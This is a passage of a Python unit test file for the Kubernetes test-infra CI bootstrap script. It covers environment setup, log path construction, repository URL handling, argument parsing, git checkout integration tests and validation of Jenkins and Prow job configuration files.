env[bootstrap.NODE_ENV]\n with Stub(os, 'environ', env):\n bootstrap.setup_magic_environment(JOB)\n\n def check(name):\n self.assertIn(name, env)\n\n # Some of these are probably silly to check...\n # TODO(fejta): remove as many of these from our infra as possible.\n check(bootstrap.JOB_ENV)\n check(bootstrap.CLOUDSDK_ENV)\n check(bootstrap.BOOTSTRAP_ENV)\n check(bootstrap.WORKSPACE_ENV)\n self.assertNotIn(bootstrap.SERVICE_ACCOUNT_ENV, env)\n\n def test_node_present(self):\n expected = 'whatever'\n env = {bootstrap.NODE_ENV: expected}\n with Stub(os, 'environ', env):\n self.assertEquals(expected, bootstrap.node())\n self.assertEquals(expected, env[bootstrap.NODE_ENV])\n\n def test_node_missing(self):\n env = {}\n with Stub(os, 'environ', env):\n expected = bootstrap.node()\n self.assertTrue(expected)\n self.assertEquals(expected, env[bootstrap.NODE_ENV])\n\n\n\n def test_cloud_sdk_config(self):\n cwd = 'now-here'\n env = fake_environment()\n with Stub(os, 'environ', env):\n with Stub(os, 'getcwd', lambda: cwd):\n bootstrap.setup_magic_environment(JOB)\n\n\n self.assertTrue(env[bootstrap.CLOUDSDK_ENV].startswith(cwd))\n\n\nclass FakePath(object):\n artifacts = 'fake_artifacts'\n pr_latest = 'fake_pr_latest'\n pr_build_link = 'fake_pr_link'\n build_log = 'fake_log_path'\n pr_path = 'fake_pr_path'\n pr_result_cache = 'fake_pr_result_cache'\n latest = 'fake_latest'\n result_cache = 'fake_result_cache'\n started = 'fake_started.json'\n finished = 'fake_finished.json'\n def __call__(self, *arg, **kw):\n self.arg = arg\n self.kw = kw\n return self\n\n\nclass FakeLogging(object):\n close = Pass\n def __call__(self, *_a, **_kw):\n return self\n\n\nclass FakeFinish(object):\n called = False\n result = None\n def __call__(self, unused_a, unused_b, success, *a, **kw):\n self.called = True\n self.result = success\n\ndef repo(config):\n repos = bootstrap.Repos()\n for cur_repo, tup in config.items():\n repos[cur_repo] = tup\n return repos\n\nclass PRPathsTest(unittest.TestCase):\n def test_kubernetes_kubernetes(self):\n \"\"\"Test the kubernetes/kubernetes prefix.\"\"\"\n path = bootstrap.pr_paths(UPLOAD, repo({'kubernetes/kubernetes': ('', PULL)}), JOB, BUILD)\n self.assertTrue(any(\n str(PULL) == p for p in path.build_log.split('/')))\n\n def test_kubernetes(self):\n \"\"\"Test the kubernetes/something prefix.\"\"\"\n path = bootstrap.pr_paths(UPLOAD, repo({'kubernetes/prefix': ('', PULL)}), JOB, BUILD)\n self.assertTrue(any(\n 'prefix' in p for p in path.build_log.split('/')), path.build_log)\n self.assertTrue(any(\n str(PULL) in p for p in path.build_log.split('/')), path.build_log)\n\n def test_other(self):\n \"\"\"Test the none kubernetes prefixes.\"\"\"\n path = bootstrap.pr_paths(UPLOAD, repo({'github.com/random/repo': ('', PULL)}), JOB, BUILD)\n self.assertTrue(any(\n 'random_repo' in p for p in path.build_log.split('/')), path.build_log)\n self.assertTrue(any(\n str(PULL) in p for p in path.build_log.split('/')), path.build_log)\n\n\nclass FakeArgs(object):\n bare = False\n clean = False\n git_cache = ''\n job = JOB\n root = ROOT\n service_account = ROBOT\n ssh = False\n timeout = 0\n upload = UPLOAD\n json = False\n\n def __init__(self, **kw):\n self.branch = BRANCH\n self.pull = PULL\n self.repo = [REPO]\n for key, val in kw.items():\n if not hasattr(self, key):\n raise AttributeError(self, key)\n setattr(self, key, val)\n\n\ndef test_bootstrap(**kw):\n if isinstance(kw.get('repo'), basestring):\n kw['repo'] = [kw['repo']]\n return bootstrap.bootstrap(FakeArgs(**kw))\n\nclass BootstrapTest(unittest.TestCase):\n\n def setUp(self):\n self.boiler = [\n Stub(bootstrap, 'checkout', Pass),\n Stub(bootstrap, 'finish', Pass),\n Stub(bootstrap.GSUtil, 'copy_file', Pass),\n Stub(bootstrap, 'node', lambda: 'fake-node'),\n Stub(bootstrap, 'setup_credentials', Pass),\n Stub(bootstrap, 'setup_logging', FakeLogging()),\n Stub(bootstrap, 'start', Pass),\n Stub(bootstrap, '_call', Pass),\n Stub(os, 'environ', fake_environment()),\n Stub(os, 'chdir', Pass),\n Stub(os, 'makedirs', Pass),\n ]\n\n def tearDown(self):\n for stub in self.boiler:\n with stub: # Leaving with restores things\n pass\n\n def test_setcreds_setroot_fails(self):\n \"\"\"We should still call setup_credentials even if setup_root blows up.\"\"\"\n called = set()\n with Stub(bootstrap, 'setup_root', Bomb):\n with Stub(bootstrap, 'setup_credentials',\n lambda *a, **kw: called.add('setup_credentials')):\n with Stub(bootstrap, 'finish', lambda *a, **kw: called.add('finish')):\n with self.assertRaises(AssertionError):\n test_bootstrap()\n\n for needed in ['setup_credentials', 'finish']:\n self.assertIn(needed, called)\n\n def test_empty_repo(self):\n repo_name = None\n with Stub(bootstrap, 'checkout', Bomb):\n test_bootstrap(repo=repo_name, branch=None, pull=None, bare=True)\n with self.assertRaises(ValueError):\n test_bootstrap(repo=repo_name, branch=None, pull=PULL)\n with self.assertRaises(ValueError):\n test_bootstrap(repo=repo_name, branch=BRANCH, pull=None)\n\n def test_root_not_exists(self):\n with Stub(os, 'chdir', FakeCall()) as fake_chdir:\n with Stub(os.path, 'exists', lambda p: False):\n with Stub(os, 'makedirs', FakeCall()) as fake_makedirs:\n test_bootstrap(branch=None)\n self.assertTrue(any(ROOT in c[0] for c in fake_chdir.calls), fake_chdir.calls)\n self.assertTrue(any(ROOT in c[0] for c in fake_makedirs.calls), fake_makedirs.calls)\n\n def test_root_exists(self):\n with Stub(os, 'chdir', FakeCall()) as fake_chdir:\n test_bootstrap(branch=None)\n self.assertTrue(any(ROOT in c[0] for c in fake_chdir.calls))\n\n def test_pr_paths(self):\n \"\"\"Use a pr_paths when pull is set.\"\"\"\n\n with Stub(bootstrap, 'ci_paths', Bomb):\n with Stub(bootstrap, 'pr_paths', FakePath()) as path:\n test_bootstrap(branch=None, pull=PULL)\n self.assertEquals(PULL, path.arg[1][REPO][1], (PULL, path.arg))\n\n def test_ci_paths(self):\n \"\"\"Use a ci_paths when branch is set.\"\"\"\n\n with Stub(bootstrap, 'pr_paths', Bomb):\n with Stub(bootstrap, 'ci_paths', FakePath()) as path:\n test_bootstrap(pull=None, branch=BRANCH)\n self.assertFalse(any(\n PULL in o for o in (path.arg, path.kw)))\n\n def test_finish_when_start_fails(self):\n \"\"\"Finish is called even if start fails.\"\"\"\n with Stub(bootstrap, 'finish', FakeFinish()) as fake:\n with Stub(bootstrap, 'start', Bomb):\n with self.assertRaises(AssertionError):\n test_bootstrap(pull=None)\n self.assertTrue(fake.called)\n self.assertTrue(fake.result is False) # Distinguish from None\n\n def test_finish_when_build_fails(self):\n \"\"\"Finish is called even if the build fails.\"\"\"\n def call_error(*_a, **_kw):\n raise subprocess.CalledProcessError(1, [], '')\n with Stub(bootstrap, 'finish', FakeFinish()) as fake:\n with Stub(bootstrap, '_call', call_error):\n with self.assertRaises(SystemExit):\n test_bootstrap(pull=None)\n self.assertTrue(fake.called)\n self.assertTrue(fake.result is False) # Distinguish from None\n\n def test_happy(self):\n with Stub(bootstrap, 'finish', FakeFinish()) as fake:\n test_bootstrap(pull=None)\n self.assertTrue(fake.called)\n self.assertTrue(fake.result) # Distinguish from None\n\n def test_job_env(self):\n \"\"\"bootstrap sets JOB_NAME.\"\"\"\n with Stub(os, 'environ', fake_environment()) as env:\n test_bootstrap(pull=None)\n self.assertIn(bootstrap.JOB_ENV, env)\n\n\nclass RepositoryTest(unittest.TestCase):\n def test_kubernetes_kubernetes(self):\n expected = 'https://github.com/kubernetes/kubernetes'\n actual = bootstrap.repository('k8s.io/kubernetes', '')\n self.assertEquals(expected, actual)\n\n def test_kubernetes_testinfra(self):\n expected = 'https://github.com/kubernetes/test-infra'\n actual = bootstrap.repository('k8s.io/test-infra', '')\n self.assertEquals(expected, actual)\n\n def test_whatever(self):\n expected = 'https://foo.com/bar'\n actual = bootstrap.repository('foo.com/bar', '')\n self.assertEquals(expected, actual)\n\n def test_k8s_k8s_ssh(self):\n expected = 'git@github.com:kubernetes/kubernetes'\n actual = bootstrap.repository('k8s.io/kubernetes', 'path')\n self.assertEquals(expected, actual)\n\n def test_k8s_k8s_ssh_with_colon(self):\n expected = 'git@github.com:kubernetes/kubernetes'\n actual = bootstrap.repository('github.com:kubernetes/kubernetes', 'path')\n self.assertEquals(expected, actual)\n\n def test_whatever_ssh(self):\n expected = 'git@foo.com:bar'\n actual = bootstrap.repository('foo.com/bar', 'path')\n self.assertEquals(expected, actual)\n\n\n\nclass IntegrationTest(unittest.TestCase):\n REPO = 'hello/world'\n MASTER = 'fake-master-file'\n BRANCH_FILE = 'fake-branch-file'\n PR_FILE = 'fake-pr-file'\n BRANCH = 'another-branch'\n PR_NUM = 42\n PR_TAG = bootstrap.pull_ref(PR_NUM)[0][0].strip('+')\n\n def fake_repo(self, fake, _ssh=False):\n return os.path.join(self.root_github, fake)\n\n def setUp(self):\n self.boiler = [\n Stub(bootstrap, 'finish', Pass),\n Stub(bootstrap.GSUtil, 'copy_file', Pass),\n Stub(bootstrap, 'repository', self.fake_repo),\n Stub(bootstrap, 'setup_credentials', Pass),\n Stub(bootstrap, 'setup_logging', FakeLogging()),\n Stub(bootstrap, 'start', Pass),\n Stub(os, 'environ', fake_environment(set_job=False)),\n ]\n self.root_github = tempfile.mkdtemp()\n self.root_workspace = tempfile.mkdtemp()\n self.root_git_cache = tempfile.mkdtemp()\n self.ocwd = os.getcwd()\n fakerepo = self.fake_repo(self.REPO)\n subprocess.check_call(['git', 'init', fakerepo])\n os.chdir(fakerepo)\n subprocess.check_call(['git', 'config', 'user.name', 'foo'])\n subprocess.check_call(['git', 'config', 'user.email', 'foo@bar.baz'])\n subprocess.check_call(['touch', self.MASTER])\n subprocess.check_call(['git', 'add', self.MASTER])\n subprocess.check_call(['git', 'commit', '-m', 'Initial commit'])\n subprocess.check_call(['git', 'checkout', 'master'])\n\n def tearDown(self):\n for stub in self.boiler:\n with stub: # Leaving with restores things\n pass\n os.chdir(self.ocwd)\n subprocess.check_call(['rm', '-rf', self.root_github])\n subprocess.check_call(['rm', '-rf', self.root_workspace])\n subprocess.check_call(['rm', '-rf', self.root_git_cache])\n\n def test_git_cache(self):\n subprocess.check_call(['git', 'checkout', '-b', self.BRANCH])\n subprocess.check_call(['git', 'rm', self.MASTER])\n subprocess.check_call(['touch', self.BRANCH_FILE])\n subprocess.check_call(['git', 'add', self.BRANCH_FILE])\n subprocess.check_call(['git', 'commit', '-m', 'Create %s' % self.BRANCH])\n test_bootstrap(\n job='fake-branch',\n repo=self.REPO,\n branch=self.BRANCH,\n pull=None,\n root=self.root_workspace,\n git_cache=self.root_git_cache)\n # Verify that the cache was populated by running a simple git command\n # in the git cache directory.\n subprocess.check_call(\n ['git', '--git-dir=%s/%s' % (self.root_git_cache, self.REPO), 'log'])\n\n def test_pr(self):\n subprocess.check_call(['git', 'checkout', 'master'])\n subprocess.check_call(['git', 'checkout', '-b', 'unknown-pr-branch'])\n subprocess.check_call(['git', 'rm', self.MASTER])\n subprocess.check_call(['touch', self.PR_FILE])\n subprocess.check_call(['git', 'add', self.PR_FILE])\n subprocess.check_call(['git', 'commit', '-m', 'Create branch for PR %d' % self.PR_NUM])\n subprocess.check_call(['git', 'tag', self.PR_TAG])\n os.chdir('/tmp')\n test_bootstrap(\n job='fake-pr',\n repo=self.REPO,\n branch=None,\n pull=self.PR_NUM,\n root=self.root_workspace)\n\n def test_branch(self):\n subprocess.check_call(['git', 'checkout', '-b', self.BRANCH])\n subprocess.check_call(['git', 'rm', self.MASTER])\n subprocess.check_call(['touch', self.BRANCH_FILE])\n subprocess.check_call(['git', 'add', self.BRANCH_FILE])\n subprocess.check_call(['git', 'commit', '-m', 'Create %s' % self.BRANCH])\n\n os.chdir('/tmp')\n test_bootstrap(\n job='fake-branch',\n repo=self.REPO,\n branch=self.BRANCH,\n pull=None,\n root=self.root_workspace)\n\n def test_branch_ref(self):\n \"\"\"Make sure we check out a specific commit.\"\"\"\n subprocess.check_call(['git', 'checkout', '-b', self.BRANCH])\n subprocess.check_call(['git', 'rm', self.MASTER])\n subprocess.check_call(['touch', self.BRANCH_FILE])\n subprocess.check_call(['git', 'add', self.BRANCH_FILE])\n subprocess.check_call(['git', 'commit', '-m', 'Create %s' % self.BRANCH])\n sha = subprocess.check_output(['git', 'rev-parse', 'HEAD']).strip()\n subprocess.check_call(['rm', self.BRANCH_FILE])\n subprocess.check_call(['git', 'add', self.BRANCH_FILE])\n subprocess.check_call(['git', 'commit', '-m', 'Delete %s' % self.BRANCH])\n\n os.chdir('/tmp')\n # Supplying the commit exactly works.\n test_bootstrap(\n job='fake-branch',\n repo=self.REPO,\n branch='%s:%s' % (self.BRANCH, sha),\n pull=None,\n root=self.root_workspace)\n # Supplying the commit through repo works.\n test_bootstrap(\n job='fake-branch',\n repo=\"%s=%s:%s\" % (self.REPO, self.BRANCH, sha),\n branch=None,\n pull=None,\n root=self.root_workspace)\n # Using branch head fails.\n with self.assertRaises(SystemExit):\n test_bootstrap(\n job='fake-branch',\n repo=self.REPO,\n branch=self.BRANCH,\n pull=None,\n root=self.root_workspace)\n with self.assertRaises(SystemExit):\n test_bootstrap(\n job='fake-branch',\n repo=\"%s=%s\" % (self.REPO, self.BRANCH),\n branch=None,\n pull=None,\n root=self.root_workspace)\n\n def test_batch(self):\n def head_sha():\n # We can't hardcode the SHAs for the test, so we need to determine\n # them after each commit.\n return subprocess.check_output(['git', 'rev-parse', 'HEAD']).strip()\n refs = ['master:%s' % head_sha()]\n for pr in (123, 456):\n subprocess.check_call(['git', 'checkout', '-b', 'refs/pull/%d/head' % pr, 'master'])\n subprocess.check_call(['git', 'rm', self.MASTER])\n subprocess.check_call(['touch', self.PR_FILE])\n subprocess.check_call(['git', 'add', self.PR_FILE])\n open('pr_%d.txt' % pr, 'w').write('some text')\n subprocess.check_call(['git', 'add', 'pr_%d.txt' % pr])\n subprocess.check_call(['git', 'commit', '-m', 'add some stuff (#%d)' % pr])\n refs.append('%d:%s' % (pr, head_sha()))\n os.chdir('/tmp')\n pull = ','.join(refs)\n print '--pull', pull\n test_bootstrap(\n job='fake-pr',\n repo=self.REPO,\n branch=None,\n pull=pull,\n root=self.root_workspace)\n\n def test_pr_bad(self):\n random_pr = 111\n with Stub(bootstrap, 'start', Bomb):\n with Stub(time, 'sleep', Pass):\n with self.assertRaises(subprocess.CalledProcessError):\n test_bootstrap(\n job='fake-pr',\n repo=self.REPO,\n branch=None,\n pull=random_pr,\n root=self.root_workspace)\n\n def test_branch_bad(self):\n random_branch = 'something'\n with Stub(bootstrap, 'start', Bomb):\n with Stub(time, 'sleep', Pass):\n with self.assertRaises(subprocess.CalledProcessError):\n test_bootstrap(\n job='fake-branch',\n repo=self.REPO,\n branch=random_branch,\n pull=None,\n root=self.root_workspace)\n\n def test_job_missing(self):\n with self.assertRaises(OSError):\n test_bootstrap(\n job='this-job-no-exists',\n repo=self.REPO,\n branch='master',\n pull=None,\n root=self.root_workspace)\n\n def test_job_fails(self):\n with self.assertRaises(SystemExit):\n test_bootstrap(\n job='fake-failure',\n repo=self.REPO,\n branch='master',\n pull=None,\n root=self.root_workspace)\n\n def test_commit_in_meta(self):\n sha = subprocess.check_output(['git', 'rev-parse', 'HEAD']).strip()\n\n # Commit SHA should in meta\n call = lambda *a, **kw: bootstrap._call(5, *a, **kw)\n repos = repo({REPO: ('master', ''), 'other-repo': ('other-branch', '')})\n meta = bootstrap.metadata(repos, 'missing-artifacts-dir', call)\n self.assertIn('repo-commit', meta)\n self.assertEquals(sha, meta['repo-commit'])\n self.assertEquals(40, len(meta['repo-commit']))\n self.assertIn(REPO, meta.get('repos'))\n self.assertIn('other-repo', meta.get('repos'))\n self.assertEquals(REPO, meta.get('repo'))\n\n\nclass ParseArgsTest(unittest.TestCase):\n def test_json_missing(self):\n args = bootstrap.parse_args(['--bare', '--job=j'])\n self.assertFalse(args.json, args)\n\n def test_json_onlyflag(self):\n args = bootstrap.parse_args(['--json', '--bare', '--job=j'])\n self.assertTrue(args.json, args)\n\n def test_json_nonzero(self):\n args = bootstrap.parse_args(['--json=1', '--bare', '--job=j'])\n self.assertTrue(args.json, args)\n\n def test_json_zero(self):\n args = bootstrap.parse_args(['--json=0', '--bare', '--job=j'])\n self.assertFalse(args.json, args)\n\n def test_barerepo_both(self):\n with self.assertRaises(argparse.ArgumentTypeError):\n bootstrap.parse_args(['--bare', '--repo=hello', '--job=j'])\n\n def test_barerepo_neither(self):\n with self.assertRaises(argparse.ArgumentTypeError):\n bootstrap.parse_args(['--job=j'])\n\n def test_barerepo_bareonly(self):\n args = bootstrap.parse_args(['--bare', '--job=j'])\n self.assertFalse(args.repo, args)\n self.assertTrue(args.bare, args)\n\n def test_barerepo_repoonly(self):\n args = bootstrap.parse_args(['--repo=R', '--job=j'])\n self.assertFalse(args.bare, args)\n self.assertTrue(args.repo, args)\n\n\nclass JobTest(unittest.TestCase):\n\n excludes = [\n 'BUILD', # For bazel\n 'config.json', # For --json mode\n 'validOwners.json', # Contains a list of current sigs; sigs are allowed to own jobs\n 'config_sort.py', # Tool script to sort config.json\n 'config_test.py', # Script for testing config.json and Prow config.\n 'move_timeout.py', # Tool to migrate timeouts to config.json\n 'move_extract.py',\n ]\n\n yaml_suffix = {\n 'job-configs/bootstrap-maintenance.yaml' : 'suffix',\n 'job-configs/kubernetes-jenkins/bootstrap-maintenance-ci.yaml' : 'suffix',\n 'job-configs/kubernetes-jenkins-pull/bootstrap-maintenance-pull.yaml' : 'suffix',\n 'job-configs/kubernetes-jenkins-pull/bootstrap-pull.yaml' : 'suffix',\n 'job-configs/kubernetes-jenkins-pull/bootstrap-pull-json.yaml' : 'jsonsuffix',\n 'job-configs/kubernetes-jenkins-pull/bootstrap-security-pull.yaml' : 'suffix',\n 'job-configs/kubernetes-jenkins/bootstrap-ci.yaml' : 'suffix',\n 'job-configs/kubernetes-jenkins/bootstrap-ci-commit.yaml' : 'commit-suffix',\n 'job-configs/kubernetes-jenkins/bootstrap-ci-repo.yaml' : 'repo-suffix',\n 'job-configs/kubernetes-jenkins/bootstrap-ci-soak.yaml' : 'soak-suffix',\n 'job-configs/kubernetes-jenkins/bootstrap-ci-dockerpush.yaml' : 'dockerpush-suffix'\n }\n\n prow_config = '../prow/config.yaml'\n\n realjobs = {}\n prowjobs = []\n\n def test_job_script_expands_vars(self):\n fake = {\n 'HELLO': 'awesome',\n 'WORLD': 'sauce',\n }\n with Stub(os, 'environ', fake):\n actual = bootstrap.job_args(\n ['$HELLO ${WORLD}', 'happy', '${MISSING}'])\n self.assertEquals(['awesome sauce', 'happy', '${MISSING}'], actual)\n\n\n @property\n def jobs(self):\n \"\"\"[(job, job_path)] sequence\"\"\"\n for path, _, filenames in os.walk(\n os.path.dirname(bootstrap.job_script(JOB, False)[0])):\n for job in [f for f in filenames if f not in self.excludes]:\n job_path = os.path.join(path, job)\n yield job, job_path\n\n def test_bootstrap_maintenance_yaml(self):\n def check(job, name):\n job_name = 'maintenance-%s' % name\n self.assertIn('frequency', job)\n self.assertIn('repo-name', job)\n self.assertIn('.', job['repo-name']) # Has domain\n return job_name\n\n self.check_bootstrap_yaml('job-configs/bootstrap-maintenance.yaml', check)\n\n def test_bootstrap_maintenance_ci(self):\n is_modern = lambda n: 'janitor' in n and 'aws' not in n\n def check(job, name):\n job_name = 'maintenance-ci-%s' % name\n self.assertIn('frequency', job)\n self.assertIn('repo-name', job)\n self.assertIn('.', job['repo-name']) # Has domain\n self.assertIn('timeout', job)\n self.assertIn('json', job)\n modern = is_modern(name) # TODO(krzyzacy): all modern\n self.assertEquals(modern, job['json'])\n if is_modern(name):\n self.assertGreater(job['timeout'], 0)\n return job_name\n\n self.check_bootstrap_yaml('job-configs/kubernetes-jenkins/bootstrap-maintenance-ci.yaml',\n check, use_json=is_modern)\n\n def test_bootstrap_maintenance_pull(self):\n is_modern = lambda n: 'janitor' in n\n def check(job, name):\n job_name = 'maintenance-pull-%s' % name\n self.assertIn('frequency', job)\n self.assertIn('repo-name', job)\n self.assertIn('.', job['repo-name']) # Has domain\n self.assertIn('timeout', job)\n self.assertIn('json', job)\n modern = is_modern(name) # TODO(krzyzacy): all modern\n self.assertEquals(modern, job['json'])\n if is_modern(name):\n self.assertGreater(job['timeout'], 0)\n return job_name\n\n self.check_bootstrap_yaml(\n 'job-configs/kubernetes-jenkins-pull/bootstrap-maintenance-pull.yaml',\n check, use_json=is_modern)\n\n def test_bootstrap_pull_json_yaml(self):\n def check(job, name):\n job_name = 'pull-%s' % name\n self.assertIn('max-total', job)\n self.assertIn('repo-name', job)\n self.assertIn('.', job['repo-name']) # Has domain\n self.assertIn('timeout', job)\n self.assertNotIn('json', job)\n self.assertGreater(job['timeout'], 0)\n return job_name\n\n self.check_bootstrap_yaml(\n 'job-configs/kubernetes-jenkins-pull/bootstrap-pull-json.yaml',\n check, use_json=True)\n\n def test_bootstrap_pull_yaml(self):\n is_modern = lambda n: 'kops' not in n\n def check(job, name):\n job_name = 'pull-%s' % name\n self.assertIn('max-total', job)\n self.assertIn('repo-name', job)\n self.assertIn('.', job['repo-name']) # Has domain\n self.assertIn('timeout', job)\n self.assertIn('json', job)\n modern = is_modern(name) # TODO(fejta): all modern\n self.assertEquals(modern, job['json'])\n if is_modern(name):\n self.assertGreater(job['timeout'], 0)\n return job_name\n\n self.check_bootstrap_yaml(\n 'job-configs/kubernetes-jenkins-pull/bootstrap-pull.yaml',\n check, use_json=is_modern)\n\n def test_bootstrap_security_pull(self):\n is_modern = lambda n: n != 'kubernetes-e2e-kops-aws'\n def check(job, name):\n job_name = 'pull-%s' % name\n self.assertIn('max-total', job)\n self.assertIn('repo-name', job)\n self.assertIn('.', job['repo-name']) # Has domain\n self.assertIn('timeout', job)\n self.assertIn('json', job)\n modern = is_modern(name)\n self.assertEquals(modern, job['json'])\n if is_modern(name):\n self.assertGreater(job['timeout'], 0)\n return job_name\n\n self.check_bootstrap_yaml(\n 'job-configs/kubernetes-jenkins-pull/bootstrap-security-pull.yaml',\n check, use_json=is_modern)\n\n def test_bootstrap_security_match(self):\n jobs1 = self.load_bootstrap_yaml('job-configs/kubernetes-jenkins-pull/bootstrap-pull.yaml')\n json_jobs = self.load_bootstrap_yaml(\n 'job-configs/kubernetes-jenkins-pull/bootstrap-pull-json.yaml')\n\n jobs2 = self.load_bootstrap_yaml(\n 'job-configs/kubernetes-jenkins-pull/bootstrap-security-pull.yaml')\n for name, job in jobs1.iteritems():\n if job['repo-name'] == 'k8s.io/kubernetes':\n job2 = jobs2[name]\n for attr in job:\n if attr != 'repo-name':\n self.assertEquals(job[attr], job2[attr], job)\n for name, job in jobs2.iteritems():\n if job.get('json') and any(n in name for n in ['kubernetes-e2e', 'kubemark-e2e']):\n jobs = json_jobs\n skip_json = True\n else:\n jobs = jobs1\n skip_json = False\n self.assertIn(name, jobs)\n job2 = jobs[name]\n for attr in job:\n if attr == 'repo-name':\n continue\n if attr == 'json' and skip_json:\n continue\n self.assertEquals(job[attr], job2[attr])\n\n\n def test_bootstrap_ci_yaml(self):\n def check(job, name):\n job_name = 'ci-%s' % name\n self.assertIn('frequency', job)\n self.assertIn('trigger-job', job)\n self.assertNotIn('branch', job)\n self.assertNotIn('json', job)\n self.assertGreater(job['timeout'], 0, job_name)\n self.assertGreaterEqual(job['jenkins-timeout'], job['timeout']+100, job_name)\n return job_name\n\n self.check_bootstrap_yaml(\n 'job-configs/kubernetes-jenkins/bootstrap-ci.yaml',\n check, use_json=True)\n\n def test_bootstrap_ci_commit_yaml(self):\n def check(job, name):\n job_name = 'ci-%s' % name\n self.assertIn('branch', job)\n self.assertIn('commit-frequency', job)\n self.assertIn('giturl', job)\n self.assertIn('repo-name', job)\n self.assertIn('timeout', job)\n self.assertGreater(job['timeout'], 0, job)\n\n return job_name\n\n self.check_bootstrap_yaml(\n 'job-configs/kubernetes-jenkins/bootstrap-ci-commit.yaml',\n check, use_json=True)\n\n def test_bootstrap_ci_repo_yaml(self):\n def check(job, name):\n job_name = 'ci-%s' % name\n self.assertIn('branch', job)\n self.assertIn('frequency', job)\n self.assertIn('repo-name', job)\n self.assertIn('timeout', job)\n self.assertNotIn('json', job)\n self.assertGreater(job['timeout'], 0, name)\n return job_name\n\n self.check_bootstrap_yaml(\n 'job-configs/kubernetes-jenkins/bootstrap-ci-repo.yaml',\n check, use_json=True)\n\n def test_bootstrap_ci_soak_yaml(self):\n def check(job, name):\n job_name = 'ci-%s' % name\n self.assertIn('blocker', job)\n self.assertIn('frequency', job)\n self.assertIn('scan', job)\n self.assertNotIn('repo-name', job)\n self.assertNotIn('branch', job)\n self.assertIn('timeout', job)\n self.assertIn('soak-repos', job)\n self.assertGreater(job['timeout'], 0, name)\n\n return job_name\n\n self.check_bootstrap_yaml(\n 'job-configs/kubernetes-jenkins/bootstrap-ci-soak.yaml',\n check, use_json=True)\n\n def test_bootstrap_ci_dockerpush(self):\n def check(job, name):\n job_name = 'ci-%s' % name\n self.assertIn('branch', job)\n self.assertIn('frequency', job)\n self.assertIn('repo-name', job)\n self.assertIn('timeout', job)\n self.assertGreater(job['timeout'], 0, name)\n return job_name\n\n self.check_bootstrap_yaml(\n 'job-configs/kubernetes-jenkins/bootstrap-ci-dockerpush.yaml',\n check, use_json=True)\n\n def check_job_template(self, tmpl):\n builders = tmpl.get('builders')\n if not isinstance(builders, list):\n self.fail(tmpl)\n self.assertEquals(1, len(builders), builders)\n shell = builders[0]\n if not isinstance(shell, dict):\n self.fail(tmpl)\n self.assertEquals(1, len(shell), tmpl)\n if 'raw' in shell:\n self.assertEquals('maintenance-all-{suffix}', tmpl['name'])\n return\n cmd = shell.get('shell')\n if not isinstance(cmd, basestring):\n self.fail(tmpl)\n self.assertIn('--service-account=', cmd)\n self.assertIn('--upload=', cmd)\n if 'kubernetes-security' in cmd:\n self.assertIn('--upload=\\'gs://kubernetes-security-jenkins/pr-logs\\'', cmd)\n elif '${{PULL_REFS}}' in cmd:\n self.assertIn('--upload=\\'gs://kubernetes-jenkins/pr-logs\\'', cmd)\n else:\n self.assertIn('--upload=\\'gs://kubernetes-jenkins/logs\\'', cmd)\n\n def add_prow_job(self, job):\n name = job.get('name')\n real_job = {}\n real_job['name'] = name\n if 'spec' in job:\n spec = job.get('spec')\n for container in spec.get('containers'):\n if 'args' in container:\n for arg in container.get('args'):\n match = re.match(r'--timeout=(\\d+)', arg)\n if match:\n real_job['timeout'] = match.group(1)\n if 'pull-' not in name and name in self.realjobs and name not in self.prowjobs:\n self.fail('CI job %s exist in both Jenkins and Prow congfig!' % name)\n if name not in self.realjobs:\n self.realjobs[name] = real_job\n self.prowjobs.append(name)\n if 'run_after_success' in job:\n for sub in job.get('run_after_success'):\n self.add_prow_job(sub)\n\n def load_prow_yaml(self, path):\n with open(os.path.join(\n os.path.dirname(__file__), path)) as fp:\n doc = yaml.safe_load(fp)\n\n if 'periodics' not in doc:\n self.fail('No periodics in prow config!')\n\n if 'presubmits' not in doc:\n self.fail('No presubmits in prow config!')\n\n for item in doc.get('periodics'):\n self.add_prow_job(item)\n\n if 'postsubmits' not in doc:\n self.fail('No postsubmits in prow config!')\n\n presubmits = doc.get('presubmits')\n postsubmits = doc.get('postsubmits')\n\n for _repo, joblist in presubmits.items() + postsubmits.items():\n for job in joblist:\n self.add_prow_job(job)\n\n def load_bootstrap_yaml(self, path):\n with open(os.path.join(\n os.path.dirname(__file__), path)) as fp:\n doc = yaml.safe_load(fp)\n\n project = None\n defined_templates = set()\n for item in doc:\n if not isinstance(item, dict):\n continue\n if isinstance(item.get('job-template'), dict):\n defined_templates.add(item['job-template']['name'])\n self.check_job_template(item['job-template'])\n if not isinstance(item.get('project'), dict):\n continue\n project = item['project']\n self.assertIn('bootstrap-', project.get('name'))\n break\n else:\n self.fail('Could not find bootstrap-pull-jobs project')\n\n self.assertIn('jobs', project)\n used_templates = {j for j in project['jobs']}\n msg = '\\nMissing templates: %s\\nUnused templates: %s' % (\n ','.join(used_templates - defined_templates),\n ','.join(defined_templates - used_templates))\n self.assertEquals(defined_templates, used_templates, msg)\n\n self.assertIn(path, self.yaml_suffix)\n jobs = project.get(self.yaml_suffix[path])\n if not jobs or not isinstance(jobs, list):\n self.fail('Could not find suffix list in %s' % (project))\n\n real_jobs = {}\n for job in jobs:\n # Things to check on all bootstrap jobs\n if not isinstance(job, dict):\n self.fail('suffix items should be dicts: %s' % jobs)\n self.assertEquals(1, len(job), job)\n name = job.keys()[0]\n real_job = job[name]\n self.assertNotIn(name, real_jobs, 'duplicate job: %s' % name)\n real_jobs[name] = real_job\n real_name = real_job.get('job-name', 'unset-%s' % name)\n if real_name not in self.realjobs:\n self.realjobs[real_name] = real_job\n return real_jobs\n\n def check_bootstrap_yaml(self, path, check, use_json=False):\n for name, real_job in self.load_bootstrap_yaml(path).iteritems():\n # Things to check on all bootstrap jobs\n if callable(use_json): # TODO(fejta): gross, but temporary?\n modern = use_json(name)\n else:\n modern = use_json\n cmd = bootstrap.job_script(real_job.get('job-name'), modern)\n path = cmd[0]\n args = cmd[1:]\n self.assertTrue(os.path.isfile(path), (name, path))\n if modern:\n self.assertTrue(all(isinstance(a, basestring) for a in args), args)\n # Ensure the .sh script isn't there\n other = bootstrap.job_script(real_job.get('job-name'), False)\n self.assertFalse(os.path.isfile(other[0]), name)\n else:\n self.assertEquals(1, len(cmd))\n # Ensure the job isn't in the json\n with self.assertRaises(KeyError):\n bootstrap.job_script(real_job.get('job-name'), True)\n self.fail(name)\n for key, value in real_job.items():\n if not isinstance(value, (basestring, int)):\n self.fail('Jobs may not contain child objects %s: %s' % (\n key, value))\n if '{' in str(value):\n self.fail('Jobs may not contain {expansions} - %s: %s' % 